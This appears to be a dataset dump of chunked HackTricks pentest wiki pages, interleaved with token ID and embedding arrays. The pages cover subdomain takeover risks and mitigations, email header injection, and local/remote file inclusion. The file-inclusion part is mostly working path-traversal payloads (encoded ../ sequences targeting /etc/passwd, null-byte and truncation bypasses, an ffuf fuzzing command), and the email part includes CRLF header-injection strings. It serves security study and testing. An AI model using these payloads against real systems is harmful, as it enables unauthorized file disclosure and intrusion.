[ 2828, 18442, 11774, 2989, 2003, 2069, 2275, 2000, 3904, 1012, 2828, 18442, 11774, 2989, 1027, 2828, 18442, 11774, 2989, 1012, 3904, 10128, 9262, 22483, 8043, 4818, 17629, 2003, 2000, 2022, 2109, 2059, 2079, 2025, 2224, 2009, 2007, 1037, 926...
hack_tricks
155.txt
18
has internet connectivity. as an example system. windows. data. objectdataprovider used in wpf applications is a known gadget that allows arbitrary method invocation. it would be risky to have this a reference to this assembly in a rest service project that deserializes untrusted data. [SEP]
[ -0.5080485343933105, -0.5033338665962219, 0.05096336454153061, -0.025090748444199562, -0.23584330081939697, -0.17697003483772278, -0.2980301082134247, -0.22846680879592896, 0.47561115026474, 1.1137168407440186, 0.12687858939170837, -0.4881693720817566, 0.8873054385185242, -0.19345356523990...
[ 2038, 4274, 20831, 1012, 2004, 2019, 2742, 2291, 1012, 3645, 1012, 2951, 1012, 4874, 2850, 2696, 21572, 17258, 2121, 2109, 1999, 1059, 14376, 5097, 2003, 1037, 2124, 11721, 24291, 2008, 4473, 15275, 4118, 1999, 19152, 1012, 2009, 2052, 2022...
hack_tricks
155.txt
19
[CLS] domain / subdomain takeover use trickest to easily build and automate workflows powered by the world's most advanced community tools. domain takeoverif you discover some domain ( domain. tld ) that is being used by some service inside the scope but the company has lost the ownership of it, you can try to register it ( if cheap enough ) and let know the company. if this domain is receiving some sensitive information like a sessions cookie via get parameter or in the referer header, this is for sure a vulnerability. subdomain takeovera subdomain of the company is pointing to a third - party service with a name not registered. if you can create an account in this third party service and register the name being in use, you can perform the subdomain take over. there are several tools with dictionaries to check for possible takeovers : https : / / github. com / edoverflow / can - i - take - over - xyzhttps : / / github. com / blacklanternsecurity / bbothttps : / / github. com / punk - security / dnsreaperhttps : / / github. com / haccer / subjackhttps : / / github. com / anshumanbh / tko - subhttps : / / github. com / arifulprotik / sub - domain - takeoverhttps : / / github. com / saadahmedx / subdomain - takeoverhttps : / / github. com / ice3man543 / suboverhttps : / / github. com / m4ll0k / takeoverhttps : / / github. com / antichown / subdomain - takeoverhttps : / / github. com / musana / mx - takeoverscanning for hijackable subdomains with bbot : subdomain takeover checks are included in bbot's default subdomain enumeration. signatures are pulled directly from url - t evilcorp. com - f subdomain - enumsubdomain takeover generation via dns wildcardwhen dns wildcard is used in a domain, any requested subdomain of that domain that doesn't have a different address explicitly will be resolved to the same information. this could be an a ip address
[ 0.33734795451164246, -0.23160475492477417, -0.2868010699748993, 0.668254554271698, 0.038946233689785004, -0.23407042026519775, -0.1914529949426651, 0.33593127131462097, 0.7334229946136475, 0.691421389579773, 0.40455886721611023, -0.3557678163051605, 0.7003504633903503, 0.018469171598553658...
[ 101, 5884, 1013, 4942, 9527, 8113, 15336, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 5884, 15336, 10128, 2017, 7523, 2070, 5884, 1006, 5884, 1...
hack_tricks
156.txt
0
, a cname... for example, if *. testing. com is wilcarded to 1. 1. 1. 1. then, not - existent. testing. com will be pointing to 1. 1. 1. 1. however, if instead of pointing to an ip address, the sysadmin point it to a third party service via cname, like a github subdomain for example ( sohomdatta1. github. io ). an attacker could create his own third party page ( in gihub in this case ) and say that something. testing. com is pointing there. because, the cname wildcard will agree the attacker will be able to generate arbitrary subdomains for the domain of the victim pointing to his pages. you can find an example of this vulnerability in the ctf write - up : url a subdomain takeoverthis information was copied from url i wrote about subdomain takeover basics. although the concept is now generally well - understood, i noticed that people usually struggle to grasp the risks that subdomain takeover brings to the table. in this post, i go in - depth and cover the most notable risks of subdomain takeover from my perspective. note : some risks are mitigated implicitly by the cloud provider. for instance, when subdomain takeover is possible on amazon cloudfront, there is no way you can set up txt records to bypass spf checks. the post, therefore, aims to provide risks on general subdomain takeover. nevertheless, most of these apply to cloud providers as well. transparency to a browserto start off, let's look at dns resolution where cname is involved : dns resolutionnote that step # 7 requests sub. example. com rather than anotherdomain. com. that is because the web browser is not aware that anotherdomain. com even exist. even though cname record is used, the url bar in the browser still contains sub. example. com. this is the transparency for the browser. if you think about that, the browser places all the trust in the dns resolver to provide accurate information about the domain. simplified, subdomain takeover is a dns spoofing for one particular domain across the internet. why? because any browser performing the dns resolution on affected domain receives a record set by an attacker. the browser then happily shows whatever is received from this server ( thinking that is legitimate ). such a domain
[ 0.4436022639274597, -0.27384939789772034, -0.43358054757118225, 0.5215036273002625, -0.24995310604572296, -0.26554298400878906, -0.518475353717804, -0.004294996615499258, 0.7997379899024963, 0.6297059655189514, 0.24601158499717712, -0.19472132623195648, 0.41940879821777344, -0.090085744857...
[ 1010, 1037, 27166, 14074, 1012, 1012, 1012, 2005, 2742, 1010, 2065, 1008, 1012, 5604, 1012, 4012, 2003, 19863, 11522, 2098, 2000, 1015, 1012, 1015, 1012, 1015, 1012, 1015, 1012, 2059, 1010, 2025, 1011, 25953, 1012, 5604, 1012, 4012, 2097, ...
hack_tricks
156.txt
1
makes a perfect scenario for phishing. attackers are often using typosquatting or so - called doppelganger domains to mimic the legitimate domain / website for phishing purposes. after an attacker takes over some legitimate domain name, it is almost impossible for a regular user to tell whether the content on the domain is provided by a legitimate party or an attacker. let's take for instance a random bank. if one of the bank's subdomains is vulnerable to subdomain takeover, an attacker can create an html form which mimics the login form to the bank's internet banking system. then, an attacker can run spear phishing or mass phishing campaign asking users to log in to and change their passwords. at this stage, the passwords are captured by an attacker who is in control of the domain in question. the url provided in the phishing e - mail is a legitimate subdomain of a bank. therefore users are not aware of something malicious going on. spam filters and other security measurements are also less likely to trigger the e - mail as spam or malicious because it contains domain names with higher trust. indeed, the domain name itself place a significant role in a successful campaign. having 5th level subdomain vulnerable to subdomain takeover is much less " legit " that having a 2nd level subdomain with some friendly subdomain name. i saw several instances of perfect subdomains for phishing, including : purchases. something. comwww. something. comonline. something. comshop. something. comall of them vulnerable to subdomain takeover. all of them were big brands. talking about perfect phishing? nevertheless, recent phishing campaigns host content on domains with long domain names that include name of the brand ( see apple example ). having valid ssl certificate ( more on that below ), keyword in domain name and website which mimics the website of targeted brand, people tend to fall into these attacks. think about chances with a legitimate subdomain of this brand. use trickest to easily build and automate workflows powered by the world's most advanced community tools. ssl certificatesthe attack above can be enhanced by generating a valid ssl certificate. certificate authorities such as let's encrypt allow automatic verification of domain ownership by content verification : let's encrypt flowthat is, if there is a specific content placed on a specific url path, let '
[ 0.5047811269760132, 0.06989563256502151, -0.09190794080495834, 0.5334545969963074, -0.6265878081321716, -0.18014387786388397, 0.32828009128570557, 0.47876185178756714, 0.7231544256210327, 0.7672540545463562, 0.5645807981491089, -0.011127158999443054, 0.16974492371082306, 0.2213400304317474...
[ 3084, 1037, 3819, 11967, 2005, 13569, 12227, 1012, 17857, 2024, 2411, 2478, 5939, 6873, 2015, 16211, 13027, 2030, 2061, 1011, 2170, 2079, 27877, 24930, 2121, 13100, 2000, 23150, 1996, 11476, 5884, 1013, 4037, 2005, 13569, 12227, 5682, 1012, ...
hack_tricks
156.txt
2
s encrypt will approve the issuance of a certificate for a given domain. since an attacker has full control over the content of the domain which is vulnerable to subdomain takeover, this verification can be done in a matter of minutes. therefore attackers are also able to generate ssl certificate for such domain which only lowers the suspicion of a phishing attack. cookie stealingthis goes hand - in - hand with browser transparency but has different consequences. web browser implements many security policies to prevent malicious websites from causing harm. this includes things such as same - origin policy. one of the primary security responsibilities of a browser is to secure saved cookies. why? while http is a stateless protocol, cookies are used to track sessions. for convenience, users often save cookies for an extended period to prevent logging in every single time. these cookies, therefore, act as a login token which is presented to the web server and the user is identified. attacks such as session hijacking naturally evolved from this concept. the browser automatically presents stored to cookies with every request to the domain that issued them. there is an exception to that such that cookies might be shared across subdomains ( read here, also notice section 8. 7 ). it usually happens when the website uses cookie - based single sign - on ( sso ) system. using sso, a user can log in using one subdomain and share the same session token across a wide range of subdomains. the syntax for setting a regular cookie is the following : http / 1. 1 200 okset - cookie : name = valueif this cookie is issued by web server residing on example. com, only this server can access this cookie later on. however, the cookie can be issued for wildcard domain ( for the reasons explained above ) in the following manner : http / 1. 1 200 okset - cookie : name = value ; domain = example. comthe cookie will be included in http requests to example. com but also to any other subdomain such as subdomain. example. com. this behavior creates a possibility of high severity attacks using subdomain takeover. suppose that some particular domain is using session cookies for wildcard domain. if there is one subdomain vulnerable to subdomain takeover, the only thing for gathering user ’ s session token is to trick him or her into visiting the vulnerable subdomain. the session cookie is automatically sent with the http request. the browser also implements additional security mechanisms for cookies : httponly cookie
[ 0.12642095983028412, -0.4829499423503876, -0.02184230647981167, 0.3713158965110779, -0.6746383905410767, -0.4805595874786377, 0.03774847835302353, 0.04188969358801842, 0.39292141795158386, 0.816142201423645, 0.4813445210456848, -0.4098915755748749, 0.40243375301361084, -0.07540973275899887...
[ 1055, 4372, 26775, 22571, 2102, 2097, 14300, 1996, 26354, 26620, 1997, 1037, 8196, 2005, 1037, 2445, 5884, 1012, 2144, 2019, 17346, 2038, 2440, 2491, 2058, 1996, 4180, 1997, 1996, 5884, 2029, 2003, 8211, 2000, 4942, 9527, 8113, 15336, 1010,...
hack_tricks
156.txt
3
β€” cookies can by default be accessed by javascript code running in the context of the website which created the cookies. javascript can read, update, and delete the cookies. httponly cookie flag ( set by the web server ) indicates that the particular cookie cannot be accessed by javascript code. the only way to get it is through http request and response headers. secure cookie β€” when the cookie has the secure flag set by the web server, it can be communicated back to the web server only if https is used. if the domain is vulnerable to subdomain takeover, an attacker can gather cookies issued by that domain in the past just by tricking users into visiting that website. httponly and secure flags don't help since the cookie is not being accessed using javascript and ssl certificate can be easily generated for the taken domain. cookie stealing using takeover was explained in bug bounty report by arne swinnen. the report explains the problem with one of the ubiquiti networks subdomains ( ping. ubnt. com ). this subdomain was vulnerable to subdomain takeover, pointing to unclaimed aws cloudfront distribution. since ubiquiti networks is using sso with wildcard session cookies, all users visiting ping. ubnt. com could have their session cookies stolen. even though this domain is pointing to aws cloudfront, cloudfront distribution settings allow logging cookies with each request. therefore the scenario with extracting session cookies is entirely possible even with subdomains pointing to aws cloudfront. in 2017, arne also demonstrated similar attack vector against uber's sso system. the behavior explained above is not limited to cookies. since javascript scripts have full control over the websites, they are run on, having ability to replace such scripts on the legitimate website might lead to catastrophic consequences. suppose that website is using javascript code from the external provider using script tag and src attribute. when the domain of external provider expires, the browser fails silently, i. e., it doesn't trigger any alerts visible to regular users. if the external code is not doing any important stuff ( e. g., it is used only for tracking ) such external provider might stay on the website for an extended period. an attacker can take over this expired domain, match the url path of provided javascript code and thus gain control over every visitor that visits the original website. there is, however, one way of protecting the integrity of
[ 0.2937092185020447, -0.3441283702850342, -0.38696205615997314, 0.1782994270324707, -0.6803185343742371, -0.5213682055473328, 0.0176058541983366, 0.1883152723312378, 0.6731927990913391, 0.5737414956092834, 0.3098028004169464, -0.11961828917264938, 0.1798529475927353, -0.1298888921737671, ...
[ 1517, 16324, 2064, 2011, 12398, 2022, 11570, 2011, 9262, 22483, 3642, 2770, 1999, 1996, 6123, 1997, 1996, 4037, 2029, 2580, 1996, 16324, 1012, 9262, 22483, 2064, 3191, 1010, 10651, 1010, 1998, 3972, 12870, 1996, 16324, 1012, 8299, 2239, 213...
hack_tricks
156.txt
4
javascript files in a browser. subresource integrity was proposed as a mechanism to include cryptographic hash as an attribute integrity to script tag in html5. when the provided cryptographic hash does not match the download file, the browser refuses to execute it. e - mailswhen cname subdomain takeover is possible, mx records can be set up by an attacker to an arbitrary web server as well. it allows receiving e - mails to a legitimate subdomain of some brand - particularly useful again in ( spear ) phishing attacks where interaction between an attacker and victim is necessary. attackers usually spoof return - path header to receive a reply to the e - mail. with correct mx records, this problem is bypassed. on the other side, sending e - mails is also possible. although it is trivial to spoof from header to include any e - mail addresses, spf filters are usually checking return - path header and allowed mail - sending hosts for the domain. spf stores configuration in dns txt records. with subdomain takeover, txt records are in control of attacker too - spf checks can be passed easily. as i noted in the beginning, these tactics usually don't work with majority of cloud providers since you don't have control over dns zone directly. higher order risksthe concept of subdomain takeover can be naturally extended to ns records : if the base domain of at least one ns record is available for registration, the source domain name is vulnerable to subdomain takeover. one of the problems in subdomain takeover using ns record is that the source domain name usually has multiple ns records. multiple ns records are used for redundancy and load balancing. the nameserver is chosen randomly before dns resolution. suppose that the domain sub. example. com has two ns records : ns. vulnerable. com and ns. nonvulnerable. com. if an attacker takes over the ns. vulnerable. com, the situation from perspective of the user who queries sub. example. com looks as follows : 1. since there are two nameservers, one is randomly chosen. this means the probability of querying nameserver controlled by an attacker is 50 %. 2. if user's dns resolver chooses ns. nonvulnerable. com ( legitimate nameserver ), the correct result is returned and likely being cached somewhere between 6 and 24 hours. 3. if user's dns resolver chooses ns.
[ 0.43639448285102844, -0.34854573011398315, 0.29717549681663513, 0.4258749485015869, -0.7877588272094727, -0.03481149673461914, -0.3065170347690582, 0.4482271075248718, 0.9335863590240479, 0.6893834471702576, 0.16518966853618622, -0.046983182430267334, -0.00833054631948471, 0.45368552207946...
[ 9262, 22483, 6764, 1999, 1037, 16602, 1012, 4942, 6072, 8162, 3401, 11109, 2001, 3818, 2004, 1037, 7337, 2000, 2421, 19888, 13705, 23325, 2004, 2019, 17961, 11109, 2000, 5896, 6415, 1999, 16129, 2629, 1012, 2043, 1996, 3024, 19888, 13705, 2...
hack_tricks
156.txt
5
vulnerable. com ( nameserver owned by an attacker ), an attacker might provide a fake result which will also be cached. since an attacker is in control of nameserver, she can set ttl for this particular result to be for example one week. the process above is repeated every time the cache entry expires. when an attacker chooses to use ttl with high value, the fake result will stay in dns cache for that period. during this time, all requests to sub. example. com will use fake dns result cached by an attacker. this idea is even amplified when public dns resolvers ( e. g., google dns ) are used. in this case, public resolvers are likely to cache the fake results which means that all users using the same dns resolver will obtain fake results until the cache is revoked. in addition to control over the source domain name, control over all higher - level domains of source domain name is gained as well. that is because owning a canonical domain name of ns record means owning the full dns zone of the source domain name. in 2016, matthew bryant demonstrated a subdomain takeover using ns record on maris. int. the. int top - level domain is a special tld, and the only handful of domains are using it. bryant showed that even though registration of such domain names is approved exclusively by iana, nameservers can be set to arbitrary domains. since one of maris. int nameservers was available for registration ( cobalt. aliis. be ), subdomain takeover was possible even on this restricted tld. matthew also demonstrated even higher severity attack where he was able to gain control over nameserver of. io top - level domain. gaining control over. io means controlling responses for all. io domain names. in this case, one of. io nameservers were ns - a1. io which was available for registration. by registering ns - a1. io bryant was able to receive dns queries and control their responses for all. io domains. mitigationthe mitigation strategies for domain names already vulnerable to subdomain takeover are rather straightforward : remove the affected dns record β€” the simplest solution is to remove the affected record from the dns zone. this step is usually used if the organization concludes that the affected source domain name is no longer needed. claim the domain name β€” this means registering the resource in particular cloud provider or a case of a regular internet domain, repurchasing
[ 0.41082096099853516, -0.5283480286598206, -0.1412859410047531, 1.0040826797485352, -0.1369621753692627, -0.4864184558391571, -0.562208890914917, 0.06142842024564743, 0.1531243771314621, 0.5196287035942078, 0.6755605340003967, -0.4250986576080322, 0.3915310800075531, 0.20935842394828796, ...
[ 8211, 1012, 4012, 1006, 3415, 2121, 6299, 3079, 2011, 2019, 17346, 1007, 1010, 2019, 17346, 2453, 3073, 1037, 8275, 2765, 2029, 2097, 2036, 2022, 17053, 2094, 1012, 2144, 2019, 17346, 2003, 1999, 2491, 1997, 3415, 2121, 6299, 1010, 2016, ...
hack_tricks
156.txt
6
the expired domain. to prevent subdomain takeover in the future, organizations should change the process of creating and destructing resources in their infrastructure. in case of resource creation, the dns record creation has to be the last step of this process. this condition prevents dns record to be pointing to a non - existing domain at any point in time. for resource destruction, the opposite holds : dns record needs to be removed as the first step in this process. tools such as aquatone include checks for subdomain takeover. the checks should be periodically performed by a security team of an organization to verify that there are no vulnerable domains. processes for central collection of exposed domain names are often not efficient inside organizations ( due to global teams, etc. ) and external monitoring is usually the best way to go. mitigation strategy for cloud providers should be considered as well. cloud services are not verifying the domain ownership. the reason behind this is primarily convenience. cloud provider is not introducing any vulnerability by not verifying ownership of a source domain name. it is therefore up to the user to monitor its dns records. another reason is, that when cloud resource is removed, the user is usually no longer a customer of that service. the question cloud providers then ask themselves is : why should we even care? providers such as gitlab realized that subdomain takeover is an issue and implemented a domain verification mechanism. some parts of this post are excerpts from my master's thesis. until next time! patrik use trickest to easily build and automate workflows powered by the world's most advanced community tools. [SEP]
[ 0.013724926859140396, 0.3515408933162689, -0.19521260261535645, 0.7701218724250793, 0.04994259774684906, -0.5746825337409973, -0.012482949532568455, 0.006061541847884655, 0.8188658952713013, 0.639560341835022, 0.5984939932823181, -0.5934897661209106, 0.5801482200622559, 0.2887495756149292,...
[ 1996, 13735, 5884, 1012, 2000, 4652, 4942, 9527, 8113, 15336, 1999, 1996, 2925, 1010, 4411, 2323, 2689, 1996, 2832, 1997, 4526, 1998, 4078, 26310, 4219, 1999, 2037, 6502, 1012, 1999, 2553, 1997, 7692, 4325, 1010, 1996, 1040, 3619, 2501, 4...
hack_tricks
156.txt
7
[CLS] email injections use trickest to easily build and automate workflows powered by the world's most advanced community tools. inject in sent e - mailinject cc and bcc after sender argumentfrom : [ email protected ] % 0acc : [ email protected ], % 0abcc : [ email protected ] the message will be sent to the recipient and recipient1 accounts. inject argumentfrom : [ email protected ] % 0ato : [ email protected ] the message will be sent to the original recipient and the attacker account. inject subject argumentfrom : [ email protected ] % 0asubject : this is % 20fake % 20subjectthe fake subject will be added to the original subject and in some cases will replace it. it depends on the mail service behavior. change the body of the messageinject a two - line feed, then write your message to change the body of the message. from : [ email protected ] % 0a % 0amy % 20new % 20 % 0fake % 20message. php mail ( ) function exploitation # the function has the following definition : php - - rf mailfunction [ < internal : standard > function mail ] { - parameters [ 5 ] { parameter # 0 [ < required > $ to ] parameter # 1 [ < required > $ subject ] parameter # 2 [ < required > $ message ] parameter # 3 [ < optional > $ additional _ headers ] parameter # 4 [ < optional > $ additional _ parameters ] } } the 5th parameter ( $ additional _ parameters ) this section is going to be based on how to abuse this parameter supposing that an attacker controls it. this parameter is going to be added to the command line php will be using to invoke the binary sendmail. however, it will be sanitised with the function escapeshellcmd ( $ additional _ parameters ). an attacker can inject extract parameters for sendmail in this case. differences in the implementation of / usr / sbin / sendmailsendmail interface is provided by the mta email software ( sendmail, postfix, exim etc. ) installed on the system. although the basic functionality ( such as - t - i - f parameters ) remains the same for compatibility reasons, other functions and parameters vary greatly depending on the mta installed. here are a few examples of different man pages of sendmail command / interface : sendmail mta : url mta :
[ 0.16720272600650787, -0.09095105528831482, -0.5782531499862671, 0.33170509338378906, -0.6750020384788513, -0.5999714136123657, -0.5809118747711182, 0.3791324496269226, 0.094178706407547, 0.6137405037879944, 0.09441154450178146, 0.8531526327133179, 0.09596605598926544, 0.27663466334342957, ...
[ 101, 10373, 13341, 2015, 2224, 7577, 4355, 2000, 4089, 3857, 1998, 8285, 8585, 2147, 12314, 2015, 6113, 2011, 1996, 2088, 1005, 1055, 2087, 3935, 2451, 5906, 1012, 1999, 20614, 1999, 2741, 1041, 1011, 5653, 2378, 20614, 10507, 1998, 4647, ...
hack_tricks
157.txt
0
url mta : url on the origin of the sendmail binary different options have been discovered to abuse them and leak files or even execute arbitrary commands. check how in url in the e - mail nameignored parts of an emailthe symbols : +, - and { } in rare occasions can be used for tagging and ignored by most e - mail serverse. g. [ email protected ] β†’ [ email protected ] comments between parentheses ( ) at the beginning or the end will also be ignorede. g. john. doe ( intigriti ) @ example. com β†’ [ email protected ] whitelist bypassquotesipsyou can also use ips as domain named between square brackets : john. doe @ [ 127. 0. 0. 1 ] john. doe @ [ ipv6 : 2001 : db8 : : 1 ] other vulnsthird party ssoxsssome services like github or salesforce allows you to create an email address with xss payloads on it. if you can use this providers to login on other services and this services aren't sanitising correctly the email, you could cause xss. account - takeoverif a sso service allows you to create an account without verifying the given email address ( like salesforce ) and then you can use that account to login in a different service that trusts salesforce, you could access any account. note that salesforce indicates if the given email was or not verified but so the application should take into account this info. reply - toyou can send an email using from : company. com * * * * and replay - to : attacker. com and if any automatic reply is sent due to the email was sent from an internal address the attacker may be able to receive that response. hard bounce ratesome applications like aws have a hard bounce rate ( in aws is 10 % ), that whenever is overloaded the email service is blocked. a hard bounce is an email that couldn ’ t be delivered for some permanent reasons. maybe the email ’ s a fake address, maybe the email domain isn ’ t a real domain, or maybe the email recipient ’ s server won ’ t accept emails ), that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, aws ses will block your service. so, if you are able to send mails ( maybe invitations ) from the web application to any email address, you could provoke
[ -0.1482076197862625, -0.30156925320625305, 0.023506535217165947, 0.3592166602611542, -0.38135501742362976, -0.28778597712516785, -0.1986670047044754, 0.42122483253479004, 0.3472767174243927, 0.761752188205719, -0.18644331395626068, -0.07849028706550598, 0.39341092109680176, -0.339962124824...
[ 24471, 2140, 11047, 2050, 1024, 24471, 2140, 2006, 1996, 4761, 1997, 1996, 4604, 21397, 12441, 2367, 7047, 2031, 2042, 3603, 2000, 6905, 2068, 1998, 17271, 6764, 2030, 2130, 15389, 15275, 10954, 1012, 4638, 2129, 1999, 24471, 2140, 1999, 19...
hack_tricks
157.txt
1
this block by sending hundreds of invitations to nonexistent users and domains : email service dos. [SEP]
[ -0.549067497253418, -0.5226600766181946, 0.31830763816833496, 0.4530831575393677, -0.3744417726993561, -0.41539904475212097, -0.6485070586204529, 1.303702712059021, -0.23090016841888428, 0.8509975671768188, -0.6207379102706909, 0.29695650935173035, 0.09064701199531555, 0.5913681983947754, ...
[ 2023, 3796, 2011, 6016, 5606, 1997, 29492, 2000, 3904, 9048, 16173, 2102, 5198, 1998, 13100, 1024, 10373, 2326, 9998, 1012, 102 ]
hack_tricks
157.txt
2
[CLS] file inclusion / path traversalhackenproof is home to all crypto bug bounties. get rewarded without delays hackenprooffile inclusionremote file inclusion ( rfi ) : the file is loaded from a remote server ( best : you can write the code and the server will execute it ). in php this is disabled by default ( allow _ url _ include ). local file inclusion ( lfi ) : the sever loads a local file. the vulnerability occurs when the user can control in some way the file that is going to be load by the server. vulnerable php functions : require, require _ once, include, include _ oncea interesting tool to exploit this vulnerability : url - interesting - lfi2rce fileswfuzz - c - w. / lfi2. txt - - hw 0 url several * nix lfi lists and adding more paths i have created this one : auto _ wordlists / file _ inclusion _ linux. txt at main Β· carlospolop / auto _ wordlistsgithubtry also to change / for \ try also to add.. /.. /.. /.. /.. / a list that uses several techniques to find the file / etc / password ( to check if the vulnerability exists ) can be found herewindowsmerging several lists i have created : auto _ wordlists / file _ inclusion _ windows. txt at main Β· carlospolop / auto _ wordlistsgithubtry also to change / for \ try also to remove c : / and add.. /.. /.. /.. /.. / a list that uses several techniques to find the file / boot. ini ( to check if the vulnerability exists ) can be found hereos xcheck the lfi list of linux. basic lfi and bypassesall the examples are for local file inclusion but could be applied to remote file inclusion also ( page = http : / / myserver. com / phpshellcode. txt \. http : / / example. com / index. php? page =.. /.. /.. / etc / passwdtraversal sequences stripped non - recursivelyhttp : / / example. com / index. php? page =.... / /.... / /.... / / etc / passwdhttp : / / example. com / index. php? page =...
[ 0.657441258430481, 0.24710291624069214, 0.19572113454341888, 0.5806935429573059, 0.03423819690942764, -0.3672177195549011, -0.9834011793136597, -0.273600310087204, 0.25376614928245544, 0.7158163189888, 0.30074238777160645, 0.1846528947353363, 0.4326363801956177, -0.4319151043891907, -0.5...
[ 101, 5371, 10502, 1013, 4130, 29053, 2389, 3270, 19766, 18907, 2003, 2188, 2000, 2035, 19888, 2080, 11829, 8945, 16671, 3111, 1012, 2131, 14610, 2302, 14350, 20578, 2368, 18907, 8873, 2571, 10502, 28578, 12184, 5371, 10502, 1006, 21792, 2072,...
hack_tricks
158.txt
0
. \ /.... \ /.... \ / etc / passwdhttp : / / some. domain. com / static / % 5c.. % 5c.. % 5c.. % 5c.. % 5c.. % 5c.. % 5c.. % 5c / etc / passwdnull byte ( % 00 ) bypass the append more chars at the end of the provided string ( bypass of : $ _ get ['param']. " php " ) http : / / example. com / index. php? page =.. /.. /.. / etc / passwd % 00this is solved since php 5. 4encodingyou could use non - standard encondings like double url encode ( and others ) : http : / / example. com / index. php? page =.. % 252f.. % 252f.. % 252fetc % 252fpasswdhttp : / / example. com / index. php? page =.. % c0 % af.. % c0 % af.. % c0 % afetc % c0 % afpasswdhttp : / / example. com / index. php? page = % 252e % 252e % 252fetc % 252fpasswdhttp : / / example. com / index. php? page = % 252e % 252e % 252fetc % 252fpasswd % 00from existent foldermaybe the back - end is checking the folder path : http : / / example. com / index. php? page = utils / scripts /.. /.. /.. /.. /.. / etc / passwdidentifying folders on a serverdepending on the applicative code / allowed characters, it might be possible to recursively explore the file system by discovering folders and not just files. in order to do so : identify the " depth " of you current directory by succesfully retrieving / etc / passwd ( if on linux ) : http : / / example. com / index. php? page =.. /.. /.. / etc / passwd # depth of 3try and guess the name of a folder in the current directory by adding the folder name ( here, private ), and then going back to / etc / passwd
[ 0.0765133872628212, 0.029459737241268158, 0.2587259113788605, 0.07677001506090164, -0.22011636197566986, -0.17091497778892517, -0.3476722240447998, 0.010586940683424473, 0.20297211408615112, 1.2903879880905151, 0.46672335267066956, -0.11953897029161453, 0.3195810317993164, -0.4953688383102...
[ 1012, 1032, 1013, 1012, 1012, 1012, 1012, 1032, 1013, 1012, 1012, 1012, 1012, 1032, 1013, 4385, 1013, 3413, 21724, 11039, 25856, 1024, 1013, 1013, 2070, 1012, 5884, 1012, 4012, 1013, 10763, 1013, 1003, 1019, 2278, 1012, 1012, 1003, 1019, ...
hack_tricks
158.txt
1
: http : / / example. com / index. php? page = private /.. /.. /.. /.. / etc / passwd # we went deeper down one level, so we have to go 3 + 1 = 4 levels up to go back to / etc / passwd if the application is vulnerable, there might be two different outcomes to the request : if you get an error / no output, the private folder does not exist at this locationif you get the content from / etc / passwd, you validated that there is indeed a privatefolder in your current directorythe folder ( s ) you discovered using this techniques can then be fuzzed for files ( using a classic lfi method ) or for subdirectories using the same technique recursively. it is possible to adapt this technique to find directories at any location in the file system. for instance, if, under the same hypothesis ( current directory at depth 3 of the file system ) you want to check if / var / www / contains a private directory, use the following payload : http : / / example. com / index. php? page =.. /.. /.. / var / www / private /.. /.. /.. / etc / passwdthe following sequence of commands allows the generation of payloads using sed ( 1 ) as input for url fuzzing tools such as ffuf ( 2 ) : $ sed's _ ^ _.. /.. /.. / var / www / _ g'/ usr / share / seclists / discovery / web - content / directory - list - 2. 3 - small. txt | sed's _ $ _ /.. /.. /.. / etc / passwd _ g'> payloads. txt $ ffuf - u url - w payloads. txt - mr " root " of course, adapt there payloads to your needs in terms of depth / location / input directory list. path truncationbypass the append of more chars at the end of the provided string ( bypass of : $ _ get ['param']. " php " ) in php : / etc / passwd = / etc / / passwd = / etc /. / passwd = / etc / passwd / = / etc / passwd /. check if last 6 chars are passwd - - > passwd /
[ 0.4595014154911041, -0.22168463468551636, 0.13192987442016602, 0.37732023000717163, -0.4808715283870697, -0.4403351843357086, -0.4209705889225006, 0.14437474310398102, -0.20630046725273132, 1.1916289329528809, 0.4554733633995056, -0.16708402335643768, 0.7831897735595703, -0.145795345306396...
[ 1024, 8299, 1024, 1013, 1013, 2742, 1012, 4012, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 2797, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 1012, 1012, 1013, 4385, 1013, 3413, 21724, 1001, 2057, 2253, 6748, 2091, 2028, 25...
hack_tricks
158.txt
2
check if last 4 chars are ". php " - - > shellcode. php /. http : / / example. com / index. php? page = a /.. /.. /.. /.. /.. /.. /.. /.. /.. / etc / passwd.. \. \. \. \. \. \. \. \. \. \. \ [ add more ] \. \. http : / / example. com / index. php? page = a /.. /.. /.. /.. /.. /.. /.. /.. /.. / etc / passwd /. /. /. [ add more ] /. /. /. # with the next options, by trial and error, you have to discover how many ".. / " are needed to delete the appended string but not " / etc / passwd " ( near 2027 ) http : / / example. com / index. php? page = a /. /. [ add more ] / etc / passwdhttp : / / example. com / index. php? page = a /.. /.. /.. /.. / [ add more ].. /.. /.. /.. /.. / etc / passwdalways try to start the path with a fake directory ( a / ). this vulnerability was corrected in php 5. 3. filter bypass trickshttp : / / example. com / index. php? page =.... / /.... / / etc / passwdhttp : / / example. com / index. php? page =.. / / / / / / /.. / / / /.. / / / / / / etc / passwdhttp : / / example. com / index. php? page = / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / % 5c.. / etc / passwdmaintain the initial path : url file inclusionin php this is disable by default because allow _ url _ include is off. it must be on for it to work, and
[ 0.16215009987354279, 0.21344655752182007, -0.2821686267852783, 0.4506117105484009, 0.2690982222557068, -0.1411859393119812, -0.31022197008132935, 0.6595860123634338, 0.19478102028369904, 1.3448868989944458, 0.22380080819129944, 0.3746577501296997, 0.418940007686615, -0.5511407256126404, ...
[ 4638, 2065, 2197, 1018, 25869, 2015, 2024, 1000, 1012, 25718, 1000, 1011, 1011, 1028, 5806, 16044, 1012, 25718, 1013, 1012, 8299, 1024, 1013, 1013, 2742, 1012, 4012, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 1037, 1013, 1012, 1012, 1013, ...
hack_tricks
158.txt
3
